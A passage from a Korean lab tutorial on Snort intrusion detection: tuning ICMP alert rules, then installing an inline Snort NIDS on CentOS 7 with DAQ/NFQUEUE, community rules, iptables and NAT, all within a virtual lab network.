룰 파일의 테스트가 완료되면 snort 를 실행한다.
[root@localhost ~]# snort -q -A console -i ens33 -u snort -g snort -c /etc/snort/snort.conf 

5. 룰 파일 확인
다른 터미널을 열어서 /etc/snort/rules/backdoor.rules 파일을 확인한다.
[root@localhost ~]# vi /etc/snort/rules/backdoor.rules
  :
  :(생략)

:q

6. snort 실행
[root@localhost ~]# snort -q -A console -i ens33 -u snort -g snort -c /etc/snort/snort.conf 

C:\Users\user&gt;ping 200.200.200.101

Ping 200.200.200.101 32바이트 데이터 사용:
200.200.200.101의 응답: 바이트=32 시간&lt;1ms TTL=64
200.200.200.101의 응답: 바이트=32 시간=1ms TTL=64
200.200.200.101의 응답: 바이트=32 시간&lt;1ms TTL=64
200.200.200.101의 응답: 바이트=32 시간&lt;1ms TTL=64

200.200.200.101에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
    최소 = 0ms, 최대 = 1ms, 평균 = 0ms

Kali Linux에서 가져온 룰을 설정한 후 확인하면 아래처럼 ICMP PING Windows 부분이 추가된다.
ICMP 프로토콜이 오면 ICMP PING Windows가 기록되게 설정되어 있는 것이다.
여기서는 이 부분을 확인해서 주석으로 처리할 것이다.
[root@localhost ~]# snort -q -A console -i ens33 -u snort -g snort -c /etc/snort/snort.conf 
03/17-16:13:09.513584  [**] [1:382:8] ICMP PING Windows [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
03/17-16:13:09.513584  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
03/17-16:13:09.513584  [**] [1:384:5] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
03/17-16:13:09.513608  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -&gt; 200.200.200.1
03/17-16:13:10.519165  [**] [1:382:8] ICMP PING Windows [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
03/17-16:13:10.519165  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
03/17-16:13:10.519165  [**] [1:384:5] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
03/17-16:13:10.519246  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -&gt; 200.200.200.1
03/17-16:13:11.525624  [**] [1:382:8] ICMP PING Windows [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
03/17-16:13:11.525624  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
03/17-16:13:11.525624  [**] [1:384:5] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
03/17-16:13:11.525654  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -&gt; 200.200.200.1
03/17-16:13:12.531524  [**] [1:382:8] ICMP PING Windows [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
03/17-16:13:12.531524  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
03/17-16:13:12.531524  [**] [1:384:5] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
03/17-16:13:12.531575  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -&gt; 200.200.200.1

^C

룰 디렉터리에서 확인했더니 /etc/snort/rules/icmp-info.rules 파일에 들어있는 것을 확인했고
이 파일을 열어서 주석처리 한다.
[root@localhost ~]# grep &#39;ICMP PING Windows&#39; /etc/snort/rules/*
/etc/snort/rules/icmp-info.rules:alert icmp $EXTERNAL_NET any -&gt; $HOME_NET any (msg:&quot;ICMP PING Windows&quot;; itype:8; content:&quot;abcdefghijklmnop&quot;; depth:16; reference:arachnids,169; classtype:misc-activity; sid:382; rev:8;)

47번 라인에 ICMP PING Windows
[root@localhost ~]# vi /etc/snort/rules/icmp-info.rules 
 46 alert icmp $EXTERNAL_NET any -&gt; $HOME_NET any (msg:&quot;ICMP PING Sun Solaris&quot;; dsize:8; itype:8; reference:arachnids,448; classtype:mi    sc-activity; sid:381; rev:6;)
 47 #alert icmp $EXTERNAL_NET any -&gt; $HOME_NET any (msg:&quot;ICMP PING Windows&quot;; itype:8; content:&quot;abcdefghijklmnop&quot;; depth:16; reference:a    rachnids,169; classtype:misc-activity; sid:382; rev:8;)                                      
 48 alert icmp $EXTERNAL_NET any -&gt; $HOME_NET any (msg:&quot;ICMP traceroute&quot;; itype:8; ttl:1; reference:arachnids,118; classtype:attempted-    recon; sid:385; rev:4;)

주석처리한 후 다시 실행하고 확인한다.
[root@localhost ~]# snort -q -A console -i ens33 -u snort -g snort -c /etc/snort/snort.conf 

C:\Users\user&gt;ping 200.200.200.101

다른 룰이 있어서 ICMP PING 메세지가 출력된 것이다.
여기서는 더이상 수정하지 않을 것이다.
[root@localhost ~]# snort -q -A console -i ens33 -u snort -g snort -c /etc/snort/snort.conf 
03/17-16:21:44.918909  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
03/17-16:21:44.918909  [**] [1:384:5] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
03/17-16:21:44.918934  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -&gt; 200.200.200.1
03/17-16:21:45.933652  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
03/17-16:21:45.933652  [**] [1:384:5] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
03/17-16:21:45.933692  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -&gt; 200.200.200.1
03/17-16:21:46.939781  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
03/17-16:21:46.939781  [**] [1:384:5] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
03/17-16:21:46.939801  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -&gt; 200.200.200.1
03/17-16:21:47.945766  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
03/17-16:21:47.945766  [**] [1:384:5] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
03/17-16:21:47.945801  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -&gt; 200.200.200.1
^C

rev:1; (리비전)을 추가한다.
[root@localhost ~]# cat /etc/snort/rules/local.rules 
alert icmp any any -&gt; any any (msg:&quot;ICMP ping test&quot;; sid: 1000001; rev:1;)</code></pre><blockquote>
<p><strong>실습&gt; NIDS 설치하기</strong></p>
</blockquote>
<pre><code>네트워크 구성도

 [외부망(internet)]
  |
  200.200.200.2
                                        DNAT
              200.200.200.101 ---------------------&gt; 192.168.101.101

                          Inline 방식(패킷이 NIDS를 통과한다.)
  [PC]--------------------[F/W(NIDS)]---------------[WEB#1]
   |                         |   |                    |
   |     200.200.200.0/24    |   |  192.168.101.0/24  |
   |         VMnet8          |   |       VMnet1       |
   |                         |   |                    |
  200.200.200.1            .13  .253                .101
               200.200.200.101 &lt;--------------------- 192.168.101.101
                                        SNAT

CentOS를 새로 설치할것!

배포판: CentOS 7
VMname: snortNIDS
VMnetwork: VMnet8 (NAT)
VMnetwork: VMnet1 (Host Only)
HDD: 기본값 20G
파티션: 자동 파티션
NIC#1(VMnet8) IP Address: 200.200.200.13/24
NIC#2(VMnet1) IP Address: 192.168.101.253/24
Gateway: 200.200.200.2
DNS: 168.126.63.1
[X] Automatically connect

배포판: CentOS 7
VMname: DMZWEB1
VMnetwork: VMnet1 (Host Only)
HDD: 기본값 20G
파티션: 자동 파티션
NIC#1(VMnet1) IP Address: 192.168.101.101/24
Gateway: 192.168.101.253
DNS: 168.126.63.1
[X] Automatically connect

1. 네트워크 설정
NIDS에서 네트워크를 설정한다.
# nmtui
프로파일 이름: ens33
IPv4 설정       &lt;수동&gt; 
주소: 200.200.200.13/24
게이트웨이: 200.200.200.2
DNS 서버: 168.126.63.1
[X] 자동으로 연결

프로파일 이름: ens34
IPv4 설정       &lt;수동&gt;   
주소: 192.168.101.253/24
[X] 자동으로 연결

호스트 이름: nids.linuxmaster.net

설정이 완료된 후 network을 재시작하지 말고 서버를 재부팅해서 로그인한다.
# reboot

200.200.200.13에 대한 내용을 /etc/hosts 파일에 등록한다.
[root@nids ~]# vi /etc/hosts
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
200.200.200.13 nids.linuxmaster.net nids

네트워크 정보를 확인한다.
[root@nids ~]# hostname
nids.linuxmaster.net

[root@nids ~]# ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:94:f5:78 brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.13/24 brd 200.200.200.255 scope global noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::776c:5740:1e06:43d/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
3: ens34: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:94:f5:82 brd ff:ff:ff:ff:ff:ff
    inet 192.168.101.253/24 brd 192.168.101.255 scope global noprefixroute ens34
       valid_lft forever preferred_lft forever
    inet6 fe80::bda9:e572:179:954d/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
[root@nids ~]# ip route
default via 200.200.200.2 dev ens33 proto static metric 100 
192.168.101.0/24 dev ens34 proto kernel scope link src 192.168.101.253 metric 101 
200.200.200.0/24 dev ens33 proto kernel scope link src 200.200.200.13 metric 100 


DMZ망에 있는 WEB#1에서 네트워크를 설정한다.
# nmtui
프로파일 이름: ens33
IPv4 설정       &lt;수동&gt; 
주소: 192.168.101.101/24
게이트웨이: 192.168.101.253
DNS 서버: 168.126.63.1
[X] 자동으로 연결

호스트 이름: web1.linuxmaster.net

설정이 완료된 후 network을 재시작하지 말고 서버를 재부팅해서 로그인한다.
# reboot

192.168.101.101에 대한 내용을 /etc/hosts 파일에 등록한다.
[root@nids ~]# vi /etc/hosts
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
192.168.101.101 web1.linuxmaster.net web1

네트워크 정보를 확인한다.
[root@web1 ~]# hostname
web1.linuxmaster.net

[root@web1 ~]# ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:56:b8:5e brd ff:ff:ff:ff:ff:ff
    inet 192.168.101.101/24 brd 192.168.101.255 scope global noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::53aa:a8fb:b522:8f03/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

[root@web1 ~]# ip route
default via 192.168.101.253 dev ens33 proto static metric 100 
192.168.101.0/24 dev ens33 proto kernel scope link src 192.168.101.101 metric 100 

2. 통신 확인
nids 에서 외부로 통신이 되는지 확인한다.
- 여기서는 통신이 되는게 정상이다.
[root@nids ~]# ping -c 4 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=40.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=40.8 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=128 time=41.4 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=128 time=40.5 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 40.563/40.937/41.419/0.369 ms

web1 에서 게이트웨이와 통신이 되는지 확인한다.
- 여기서는 통신이 되는게 정상이다.
[root@web1 ~]# ping 192.168.101.253 -c 4
PING 192.168.101.253 (192.168.101.253) 56(84) bytes of data.
64 bytes from 192.168.101.253: icmp_seq=1 ttl=64 time=0.402 ms
64 bytes from 192.168.101.253: icmp_seq=2 ttl=64 time=0.312 ms
64 bytes from 192.168.101.253: icmp_seq=3 ttl=64 time=0.314 ms
64 bytes from 192.168.101.253: icmp_seq=4 ttl=64 time=0.315 ms

--- 192.168.101.253 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3001ms
rtt min/avg/max/mdev = 0.312/0.335/0.402/0.044 ms

web1 에서 외부로 통신이 되는지 확인한다.
- 여기서는 통신이 안되는게 정상이다.
[root@web1 ~]# ping 8.8.8.8 -c 4
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
^C
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 0 received, 100% packet loss, time 2999ms

3. NIDS 설치
EPEL 저장소 설치
EPEL(Extra Packages for Enterprise Linux) 저장소를 설치한다.
[root@nids ~]# yum -y install epel-release

snort 를 설치하기 위한 필요한 패키지를 설치한다.
[root@nids ~]# yum -y install gcc flex bison zlib zlib-devel libpcap \
libpcap-devel pcre pcre-devel libdnet libdnet-devel tcpdump libnet-devel

NIDS로 snort 를 설치하기 위해 아래 패키지들을 설치한다.
[root@nids ~]# yum -y install libnetfilter_queue libnetfilter_queue-devel libmnl

패키지 확인
패키지들의 설치여부를 확인한다.
[root@nids ~]# rpm -q gcc flex bison zlib zlib-devel libpcap \
libpcap-devel pcre pcre-devel libdnet libdnet-devel tcpdump libnet-devel \
libnetfilter_queue libnetfilter_queue-devel libmnl

snort 업로드
https://www.snort.org/#get-started 홈페이지에 설치에 대한 내용이 있으므로 참고한다.


snort 홈페이지는 최신버전으로 나와있으므로 직접 배포한 파일을 업로드한다.
daq-2.0.6.tar.gz, snort-2.9.11.1.tar.gz 파일을 WinSCP로 firewall(NIDS) 서버에 업로드 한다.

컴파일 및 설치
--enable-sourcefire : 특정 빌드 옵션 사용(--enable-perfprofiling 과 --enable-ppm를 통합한 옵션)
--enable-ppm : 패킷 / 규칙 성능 모니터를 활성화
--enable-perfprofiling : 전 처리기 및 규칙 성능 프로파일링 사용

현재 시간을 설정하고 컴파일한다.
rdate 의 시간설정이 안되면 date 명령어로 시간을 설정한다.
[root@nids ~]# yum -y install rdate
[root@nids ~]# rdate -s time.bora.net

daq-2.0.6.tar.gz 파일의 압축을 해제하고 압축이 풀린 디렉터리로 들어가서 소스 컴파일을 한다.
[root@nids ~]# tar xzf daq-2.0.6.tar.gz 
[root@nids ~]# cd daq-2.0.6
[root@nids daq-2.0.6]# ls /usr/local/bin/
[root@nids daq-2.0.6]# ./configure &amp;&amp; make &amp;&amp; make install 
[root@nids daq-2.0.6]# ls /usr/local/bin -l
합계 4
-rwxr-xr-x. 1 root root 645  3월 17 17:13 daq-modules-config
[root@nids daq-2.0.6]# cd ..

snort-2.9.11.1.tar.gz 파일의 압축을 해제하고 압축이 풀린 디렉터리로 들어가서 소스 컴파일을 한다.
[root@nids ~]# tar xzf snort-2.9.11.1.tar.gz 
[root@nids ~]# cd snort-2.9.11.1
[root@nids snort-2.9.11.1]# ./configure --enable-sourcefire &amp;&amp; make &amp;&amp; make install
[root@nids snort-2.9.11.1]# ls -l /usr/local/bin
합계 10340
-rwxr-xr-x. 1 root root      645  3월 17 17:13 daq-modules-config
-rwxr-xr-x. 1 root root 10511952  3월 17 17:17 snort
-rwxr-xr-x. 1 root root    26408  3월 17 17:17 u2boat
-rwxr-xr-x. 1 root root    36872  3월 17 17:17 u2spewfoo

DAQ 는 기존 패킷 참조 방식을 대체 하는 역할을 하며, 더욱 쉽게 패킷 캡처를 구현하게 한다.
snort 가 저장된 /usr/local/bin 디렉터리가 환경변수 PATH에 설정되어 있으므로 명령어를 그냥 실행하면 실행된다.
[root@nids ~]# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin
                ~~~~~~~~~~~~~~

[root@nids ~]# snort --daq-list
Available DAQ modules:
pcap(v3): readback live multi unpriv
nfq(v7): live inline multi         &lt;-- NIDS에서 사용
ipfw(v3): live inline multi unpriv
dump(v3): readback live inline multi unpriv
afpacket(v5): live inline multi unpriv

[root@nids ~]# ls -l /usr/local/lib/daq/
합계 228
-rwxr-xr-x. 1 root root   959  3월 17 17:13 daq_afpacket.la
-rwxr-xr-x. 1 root root 59160  3월 17 17:13 daq_afpacket.so
-rwxr-xr-x. 1 root root   915  3월 17 17:13 daq_dump.la
-rwxr-xr-x. 1 root root 29432  3월 17 17:13 daq_dump.so
-rwxr-xr-x. 1 root root   935  3월 17 17:13 daq_ipfw.la
-rwxr-xr-x. 1 root root 32872  3월 17 17:13 daq_ipfw.so
-rwxr-xr-x. 1 root root   966  3월 17 17:13 daq_nfq.la
-rwxr-xr-x. 1 root root 40704  3월 17 17:13 daq_nfq.so  &lt;-- NIDS 에서 사용
-rwxr-xr-x. 1 root root   915  3월 17 17:13 daq_pcap.la
-rwxr-xr-x. 1 root root 37152  3월 17 17:13 daq_pcap.so

설치 확인
[root@nids ~]# snort -V

   ,,_     -*&gt; Snort! &lt;*-
  o&quot;  )~   Version 2.9.11.1 GRE (Build 268) 
   &#39;&#39;&#39;&#39;    By Martin Roesch &amp; The Snort Team: http://www.snort.org/contact#team
           Copyright (C) 2014-2017 Cisco and/or its affiliates. All rights reserved.
           Copyright (C) 1998-2013 Sourcefire, Inc., et al.
           Using libpcap version 1.5.3
           Using PCRE version: 8.32 2012-11-30
           Using ZLIB version: 1.2.7

설정 디렉터리 생성 및 룰 다운로드
rule 다운로드
snort 제작사 Cisco에서는 snort가 최신 공격패턴을 탐지할 수 있도록 룰셋을 만들어서 배포하며 
룰셋은 커뮤니티 버전(무료), 일반가입자 버전(무료), 구독자 버전(유료) 3가지가 존재한다.
유료가입자는 기술 지원과 함께 바로 룰셋 업데이트를 적용 받지만 일반 사용자는 30일이 지난 후 
동일한 룰셋을 다운받을 수 있다.)
Community rules  : 커뮤니티 버전(무료)으로 누구나 다운로드 받을 수 있다.
Registered rules : 일반가입자 버전(무료)으로 회원등록 후 다운로드 받을 수 있다. 
Subscriber rules : 구독자 버전(유료)으로 비용을 지불해야 다운로드 받을 수 있다.

/etc/snort 디렉터리를 생성하고 /etc/snort 디렉터리로 이동한다.
[root@nids ~]# mkdir /etc/snort
[root@nids ~]# cd /etc/snort
[root@nids snort]# cp ~/snort-2.9.11.1/etc/* .

snort 사이트에서 community rules 파일을 다운로드 받는다.
[root@nids snort]# yum -y install wget
[root@nids snort]# wget https://www.snort.org/downloads/community/community-rules.tar.gz
[root@nids snort]# tar xzf community-rules.tar.gz 

community-rules 디렉터리를 rules 디렉터리로 이름을 변경한다.
[root@nids snort]# ls community-rules
[root@nids snort]# mv community-rules rules

화이트리스트 룰과 블랙리스트 룰 파일을 생성한다.
화이트리스트 룰 (white_list.rules) : 신뢰할 수 있는 룰(허용할 룰)을 설정하는 방식
블랙리스트 룰 (black_list.rules) : 신뢰하지 않는 룰(거부할 룰)을 설정하는 방식
[root@nids snort]# touch rules/white_list.rules
[root@nids snort]# touch rules/black_list.rules

vim 설정
snort.conf를 컬러풀하게 보여주는 역할을 하기 위해서 vim 패키지를 설치한다.
[root@nids snort]# yum -y install vim
[root@nids snort]# vi /etc/vimrc 
  :
  :(생략)
set nu
set ai
set bg=dark
set sw=4
set ts=4
set cursorline
set expandtab
set fileencodings=&#39;utf8,euckr&#39;
[root@nids snort]# alias vi=vim
[root@nids snort]# vi ~/.bashrc 
# .bashrc

# User specific aliases and functions

alias rm=&#39;rm -i&#39;
alias cp=&#39;cp -i&#39;
alias mv=&#39;mv -i&#39;
alias vi=&#39;vim&#39;   # 추가

# Source global definitions
if [ -f /etc/bashrc ]; then
    . /etc/bashrc
fi

설정파일 수정
ipvar HOME_NET : snort 에서 탐지할 목적지 네트워크/IP 주소를 설정한다.(200.200.200.0/24)
ipvar EXTERNAL_NET : snort 에서 탐지할 출발지 네트워크/IP 주소를 설정한다.(any)
ipvar RULE_PATH : 룰 파일이 저장된 디렉터리를 지정한다.

[root@nids snort]# vi snort.conf 
#ipvar HOME_NET any
ipvar HOME_NET 200.200.200.0/24   &lt;-- 변경

# 아래 나오는 RULE_PATH, SO_RULE_PATH, PREPROC_RULE_PATH 경로를 모두 
상대 경로(../)에서 절대 경로(/etc/snort/) 로 변경한다.
#var RULE_PATH ../rules
#var SO_RULE_PATH ../so_rules
#var PREPROC_RULE_PATH ../preproc_rules
var RULE_PATH /etc/snort/rules  
var SO_RULE_PATH /etc/snort/so_rules
var PREPROC_RULE_PATH /etc/snort/preproc_rules

# 아래 나오는 WHITE_LIST_PATH, BLACK_LIST_PATH 경로를 모두 
상대 경로(../)에서 절대 경로(/etc/snort/) 로 변경한다.
#var WHITE_LIST_PATH ../rules
#var BLACK_LIST_PATH ../rules
var WHITE_LIST_PATH /etc/snort/rules
var BLACK_LIST_PATH /etc/snort/rules

# 165번 라인쯤에 daq에 대한 주석이 있고 주석이 끝나는 부분 바로 아래에 4줄을 복사해서 nfq 설정을 넣어준다.
# config daq: &lt;type&gt;
# config daq_dir: &lt;dir&gt;
# config daq_mode: &lt;mode&gt;
# config daq_var: &lt;var&gt;
#
# &lt;type&gt; ::= pcap | afpacket | dump | nfq | ipq | ipfw
# &lt;mode&gt; ::= read-file | passive | inline
# &lt;var&gt; ::= arbitrary &lt;name&gt;=&lt;value passed to DAQ
# &lt;dir&gt; ::= path as to where to look for DAQ module so&#39;s
config daq: nfq
config daq_dir: /usr/local/lib/daq 
config daq_mode: inline
config daq_var: queue=0

# 263번 라인 근처에 dynamicdetection을 주석으로 처리한다.
#dynamicdetection directory /usr/local/lib/snort_dynamicrules 

# 556번 라인근처에 local.rules는 빼고 
# local.rules 밑에서 부터 라인수를 확인해서 각자의 라인 번호를 확인한다.
# app-detect.rules 부터 x11.rules 까지 나머지를 모두 주석으로 처리한다.
#
# vi 에서 한번에 주석처리하기 : :시작줄번호,끝줄번호s/^/#
# 예) :558,661s/^/#
# 스크립트로 작성하면 sed 를 이용해서 자동화 처리를 이용할 수도 있다.
# 향후 Kali Linux Snort rules 파일들을 가져와서 설정한다. (주석 해제 가능)

다운로드 받은 community.rules를 local.rules 밑에 추가한다.

주석처리된 설정파일은 아래와 같다. 
include $RULE_PATH/local.rules
include $RULE_PATH/community.rules 

#include $RULE_PATH/app-detect.rules
#include $RULE_PATH/attack-responses.rules
#include $RULE_PATH/backdoor.rules
  : 
  : 나머지 룰 파일들을 모두 주석으로 처리한다.
  :(생략)
#include $RULE_PATH/web-php.rules
#include $RULE_PATH/x11.rules

설정이 완료되면 /etc/snort/rules/local.rules 파일을 생성한다.
[root@nids snort]# touch rules/local.rules

사용자 계정 추가 및 권한설정
snort 를 실행할 사용자를 생성하고 /etc/snort 디렉토리는 snort 사용자만 접근할 수 있게 허가권의 접근 권한을 설정한다.
[root@nids snort]# useradd -u 40000 -d /var/log/snort -s /sbin/nologin -c SNORT_IDS snort
[root@nids snort]# chown -R snort.snort /etc/snort
[root@nids snort]# chmod 700 /etc/snort
[root@nids snort]# ls -ld /etc/snort/
drwx------. 3 snort snort 284  3월 17 17:33 /etc/snort/
[root@nids snort]# cd

snort 설정확인
설정파일 실패 : 설정파일 테스트 후 Fatal Error, Quitting.. 메세지가 출력되고 종료된다.
설정파일 성공 : 설정파일 테스트 후 Snort successfully validated the configuration! 메세지가 출력되고 종료된다.

-T : 테스트 옵션
-u : 사용자 옵션
-g : 그룹 옵션
-c : 설정파일 옵션
-Q : 인라인 모드 옵션(Enable inline mode operation.)

[root@nids ~]# snort --help
[root@nids ~]# snort -T -u snort -g snort -c /etc/snort/snort.conf -Q
  :
  :(생략)
Snort successfully validated the configuration!
Snort exiting

룰 설정
local.rules 파일이 기본적으로 없으므로 룰 파일을 생성한다.
룰의 sid 숫자 범위 
99 이하 : 시스템 내부에서 사용
100 ~ 1,000,000이하 : 외부에서 제작해서 배포하는 탐지 규칙에서 사용
1,000,001 이상  : 사용자가 탐지 규칙을 설정할 때 만들어서 사용
[root@nids ~]# vi /etc/snort/rules/local.rules 
alert icmp any any -&gt; any any (msg: &quot;ICMP ping test&quot;; sid: 1000001)

4. 방화벽 설정
firewalld는 중지하고 iptables-services 패키지를 설치해서 사용한다.
[root@nids ~]# systemctl stop firewalld
[root@nids ~]# systemctl disable firewalld
[root@nids ~]# yum -y install iptables-services 
[root@nids ~]# systemctl enable iptables

iptables 에서 아래 내용을 복사해서 실행한다. 
WEB(80,443), SSH(22), ICMP
iptables -A INPUT -m state --state INVALID -j DROP
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 443 -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -p icmp -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -j DROP
iptables-save &gt; /etc/sysconfig/iptables

FORWARD 체인에 NFQUEUE를 등록한다.
NFQUEUE를 등록하지 않으면 통신이 안된다.
-t filter INPUT  : NIDS
-t filter OUTPUT : NIDS
-t filter FORWARD : WEB#1
[root@nids ~]# iptables -A FORWARD -j NFQUEUE -m comment --comment SNORT

[root@nids ~]# iptables -nL
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
DROP       all  --  0.0.0.0/0            0.0.0.0/0            state INVALID
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            state RELATED,ESTABLISHED
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            state NEW tcp dpt:443
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            state NEW tcp dpt:80
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            state NEW tcp dpt:22
ACCEPT     icmp --  0.0.0.0/0            0.0.0.0/0           
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0           
DROP       all  --  0.0.0.0/0            0.0.0.0/0           

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         
NFQUEUE    all  --  0.0.0.0/0            0.0.0.0/0            /* SNORT */ NFQUEUE num 0

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         
[root@nids ~]# cat /etc/sysconfig/iptables
# Generated by iptables-save v1.4.21 on Fri Mar 17 17:38:02 2023
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [2:240]
-A INPUT -m state --state INVALID -j DROP
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
-A INPUT -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -j DROP
COMMIT
# Completed on Fri Mar 17 17:38:02 2023

DNAT/SNAT를 설정한다.

200.200.200.101 공인 IP주소를 설정한다.
[root@nids ~]# nmtui
프로파일 이름: ens33
IPv4 설정       &lt;수동&gt; 
주소: 200.200.200.13/24
      200.200.200.101/24   &lt;-- 추가한다.
게이트웨이: 200.200.200.2
DNS 서버: 168.126.63.1
[X] 자동으로 연결

[root@nids ~]# systemctl restart network
[root@nids ~]# ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:a6:a1:81 brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.13/24 brd 200.200.200.255 scope global noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet 200.200.200.101/24 brd 200.200.200.255 scope global secondary noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::c010:3a35:3c56:2ed0/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
